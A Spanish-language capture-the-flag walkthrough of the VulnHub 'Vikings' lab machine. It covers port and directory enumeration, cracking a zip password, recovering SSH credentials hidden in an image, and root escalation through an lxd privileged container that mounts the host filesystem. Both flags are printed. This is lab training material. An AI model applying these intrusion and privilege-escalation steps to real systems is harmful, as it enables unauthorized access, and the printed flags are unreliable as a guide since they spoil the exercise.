Vikings VulnHub
Escaneo de puertos
nmap -p- --min-rate 5000 -sV <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-23 03:26 EDT
Nmap scan report for 192.168.195.142
Host is up (0.00066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:d4:c0:fd:62:45:97:83:15:c0:15:b2:ac:25:60:99 (RSA)
| 256 7e:37:f0:11:63:80:15:a3:d3:9d:43:c6:09:be:fb:da (ECDSA)
|_ 256 52:e9:4f:71:bc:14:dc:00:34:f2:a7:b3:58:b5:0d:ce (ED25519)
80/tcp open http Apache httpd 2.4.29
|_http-title: Index of /
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2020-10-29 21:07 site/
|_
MAC Address: 00:0C:29:AD:FD:F4 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5 (95%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4 - 3.10 (91%), Linux 5.1 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.66 ms 192.168.195.142
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.26 seconds
Gobuster
gobuster dir -u http://<IP>/site/ -w <WORDLIST>
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.195.142/site/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 280]
/.htaccess (Status: 403) [Size: 280]
/css (Status: 301) [Size: 321] [--> http://192.168.195.142/site/css/]
/images (Status: 301) [Size: 324] [--> http://192.168.195.142/site/images/]
/js (Status: 301) [Size: 320] [--> http://192.168.195.142/site/js/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
Pero si hacemos una busqueda mas profunda, hariamos lo siguiente...
gobuster dir -u http://<IP>/site/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.195.142/site/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html (Status: 403) [Size: 280]
/.htpasswd.php (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/.htaccess.txt (Status: 403) [Size: 280]
/.htaccess.php (Status: 403) [Size: 280]
/.htaccess (Status: 403) [Size: 280]
/.htpasswd.txt (Status: 403) [Size: 280]
/.htpasswd.html (Status: 403) [Size: 280]
/css (Status: 200) [Size: 1377]
/images (Status: 200) [Size: 1361]
/index.html (Status: 200) [Size: 4419]
/js (Status: 200) [Size: 952]
/war.txt (Status: 200) [Size: 13]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Aqui nos saca un .txt
que si lo leemos dice lo siguiente...
/war-is-over/
Si nos vamos a esa direccion, apareceran muchas palabras y letras, esto esta codificado en Base64 todo, haremos lo siguiente...
wget http://<IP>/site/war-is-over/
Esto te descargara el index.html
del contenido del Base64
, ahora haremos lo siguiente...
cat <FILE>.txt | base64 -d > <FILE>.zip
Esto te dara un .zip
con el contenido decodificado, pero tiene contraseña por lo que haremos lo siguiente...
zip2john <FILE>.zip > hash.txt
john --wordlist=<WORDLIST> hash.txt
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Cost 1 (HMAC size) is 1410760 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ragnarok123 (decode.zip/king)
1g 0:00:00:21 DONE (2024-05-23 05:24) 0.04757g/s 14127p/s 14127c/s 14127C/s redsox#1..papolo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Una vez que tengamos la contraseña lo descomprimimos de la siguiente manera...
7z x <FILE>.zip
Info:
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,32 CPUs Pentium(R) Dual-Core CPU E5800 @ 3.20GHz (1067A),ASM)
Scanning the drive for archives:
1 file, 1410944 bytes (1378 KiB)
Extracting archive: decode.zip
--
Path = decode.zip
Type = zip
Physical Size = 1410944
Enter password (will not be echoed):
Everything is Ok
Size: 1429762
Compressed: 1410944
Nos descomprimira una imagen llamada king
, pero si sacamos el contenido de la imagen...
sudo binwalk --extract --dd='.*' --run-as=root king
Info:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image directory: 8
1429567 0x15D03F Zip archive data, at least v2.0 to extract, compressed size: 53, uncompressed size: 92, name: user
1429740 0x15D0EC End of Zip archive, footer length: 22
Nos lo descomprimira en una carpeta llamada _king.extracted
dentro de la misma habra unos archivos, entre ellos un archivo llamado user
y si lo leemos...
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7
Por lo que las credenciales para conectarnos al ssh
seria el siguiente...
User = floki
Password = f@m0usboatbuilde7
ssh floki@<IP>
Y ya estariamos dentro, si nos vamos a la carpeta de /ragnar
leeremos la flag del user
...
user.txt (flag1)
4bf930187d0149a9e4374a4e823f867d
Si leemos el fichero readme.txt
veremos lo siguiente...
_______________________________________________________________________Floki-Creation____________________________________________________________________________________________________
I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
I need to create this `boat` to find Ragnar
Y en el fichero boat
pone...
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
Si vemos los grupos a los que estamos asociados...
id
Info:
uid=1000(floki) gid=1000(floki) groups=1000(floki),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
Vemos que estamos en el grupo lxd
por lo que escalaremos por ahi haciendo lo siguiente...
Estos comandos que haremos ahora los haremos en nuestro host
...
#Tenemos que hacerlo todo siendo root
sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
Ahora una vez hecho todo lo anterior nos pasaremos 2 archivos a la maquina victima mediante un servidor de python3
...
python3 -m http.server 80
Y en nuestra maquina victima nos lo descargamos poniendo la IP de nuestro host
con el puerto
...
wget http://<IP>:80/<FILES>
Los 2 archivos que nos descargaremos seran incus.tar.xz
y rootfs.squashfs
, pero al archivo incus.tar.xz
se lo cambiare a lxd.tar.xz
...
mv incus.tar.xz lxd.tar.xz
Todo esto lo meteremos en la carpeta /tmp
y dentro del servidor haremos los siguiente comandos...
lxc storage list
Para ver el alias que tiene el contenedor donde vamos a depositar la informacion por asi llamarlo...
+--------+-------------+--------+-----------------------------------+---------+
| NAME | DESCRIPTION | DRIVER | SOURCE | USED BY |
+--------+-------------+--------+-----------------------------------+---------+
| mypool | | dir | /var/lib/lxd/storage-pools/mypool | 0 |
+--------+-------------+--------+-----------------------------------+---------+
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
# Check the image is there
lxc image list
# Create the container
lxc init alpine privesc -c security.privileged=true -s mypool
# List containers
lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
#Para ser root
lxc exec privesc /bin/sh
cd /mnt/root
cd root/
Una vez siendo root
leemos su flag...
root.txt (flag2)
f0b98d4387ff6da77317e582da98bf31
Last updated